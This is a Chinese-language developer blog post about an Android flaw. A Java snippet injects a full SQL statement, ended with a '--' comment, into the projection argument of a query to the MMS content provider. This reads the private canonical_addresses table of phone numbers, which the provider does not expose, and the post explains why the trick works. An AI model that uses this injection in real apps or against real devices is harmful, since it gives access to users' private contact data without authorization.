android利用provider查询同一个数据库中没有对外暴露出来的表

小程序：扫一扫查出行
【扫一扫了解最新限行尾号】
复制小程序

【原创】转载请加本篇博客地址http://www.cnblogs.com/scarecrow-blog/p/6266042.html

个人感觉这是android provider 的一个漏洞，废话少说直接上代码

public String getCanonicalAddresses(String recipient_ids){
String[] ids=recipient_ids.split(" ");
System.out.println("recipient_ids:"+recipient_ids);
String addressResult="";
for (int i = 0; i < ids.length; i++) {
Cursor cur=ReadSmsActivity.this.getContentResolver().query(Uri.parse("content://mms/"),
new String[]{" * from canonical_addresses where _id="+ids[i].toString()+" --"}, null,null,null);
if(cur.getCount()>0){
while (cur.moveToNext()){
String _id=cur.getString(cur.getColumnIndex("_id"));
String address=cur.getString(cur.getColumnIndex("address"));
addressResult+="{"+_id+","+address+"}";
}
}
}
return addressResult;
}

看第6和第7行，mms provider 实际上查询彩信相关的内容，并没有提供canonical-address的查询功能。但是上面这种写法，通过在query方法入参的projection中直接写上几乎整条查询语句，并在后面加上“--” 实现了通过mms provider直接查询db中canonical_addresses表的功能。

原理：

大家都知道 projection中通常都是要查的表中的各个列名，所以最后拼出来放到数据库中执行的sql语句类似于 SELECT projection FROM table where ....

但是这里讲projection完全替换成另一个完整的语句，所以最后拼出来的样子大致是 SELECT * from canonical_addresses where _id="2" -- FROM table where ....

Sql 中“--” 是注释的意思。这个方法正是利用了这一点，把原来provider通过URI限定的查询语句偷换成了另外一个查询语句，从而得到了一个私有表的查询结果。